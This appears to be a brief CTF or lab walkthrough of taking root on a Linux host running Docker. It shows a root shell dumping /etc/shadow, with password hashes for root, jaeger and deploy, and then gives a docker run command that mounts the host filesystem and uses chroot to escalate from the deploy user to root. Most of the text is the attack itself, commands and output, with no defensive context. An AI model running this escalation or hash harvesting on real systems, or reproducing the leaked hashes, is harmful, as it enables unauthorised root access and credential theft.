Rooted.
root@0c9c5cea3c46:~# cat /etc/shadow
root:$y$j9T$0gd6YLeK1QF8eXOhAGmb2.$rvSHnH5qysjj79l0OiXizdnFwT1vsQzz5U4p/vrHQMB:19195:0:99999:7:::
daemon:*:19195:0:99999:7:::
bin:*:19195:0:99999:7:::
sys:*:19195:0:99999:7:::
sync:*:19195:0:99999:7:::
games:*:19195:0:99999:7:::
man:*:19195:0:99999:7:::
lp:*:19195:0:99999:7:::
mail:*:19195:0:99999:7:::
news:*:19195:0:99999:7:::
uucp:*:19195:0:99999:7:::
proxy:*:19195:0:99999:7:::
www-data:*:19195:0:99999:7:::
backup:*:19195:0:99999:7:::
list:*:19195:0:99999:7:::
irc:*:19195:0:99999:7:::
gnats:*:19195:0:99999:7:::
nobody:*:19195:0:99999:7:::
_apt:*:19195:0:99999:7:::
systemd-network:*:19195:0:99999:7:::
systemd-resolve:*:19195:0:99999:7:::
tss:*:19195:0:99999:7:::
messagebus:*:19195:0:99999:7:::
systemd-timesync:*:19195:0:99999:7:::
usbmux:*:19195:0:99999:7:::
rtkit:*:19195:0:99999:7:::
sshd:*:19195:0:99999:7:::
dnsmasq:*:19195:0:99999:7:::
speech-dispatcher:!:19195:0:99999:7:::
pulse:*:19195:0:99999:7:::
saned:*:19195:0:99999:7:::
colord:*:19195:0:99999:7:::
geoclue:*:19195:0:99999:7:::
Debian-gdm:*:19195:0:99999:7:::
jaeger:$y$j9T$Dd.LPLKhUiqLImmrThQ.m/$zWTCxncUITpaG1GhvvV66fhFWRh2CVz.KtJH4bd1ke.:19195:0:99999:7:::
systemd-coredump:!*:19195::::::
nginx:!:19195:0:99999:7:::
mongodb:*:19195:0:99999:7:::
deploy:$y$j9T$1u25BMNE1Y2tRYy7ne.wg/$mHEZ.4Y9kanC0001s.p5Q8qqzwt9TYgj6nrvaqDlPcB:19195:0:99999:7:::
postgres:*:19195:0:99999:7:::
mattermost:!:19195::::::
root@0c9c5cea3c46:~#
After you login the the deploy user run this command.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Then you will have root.
Then run bash to get a nice shell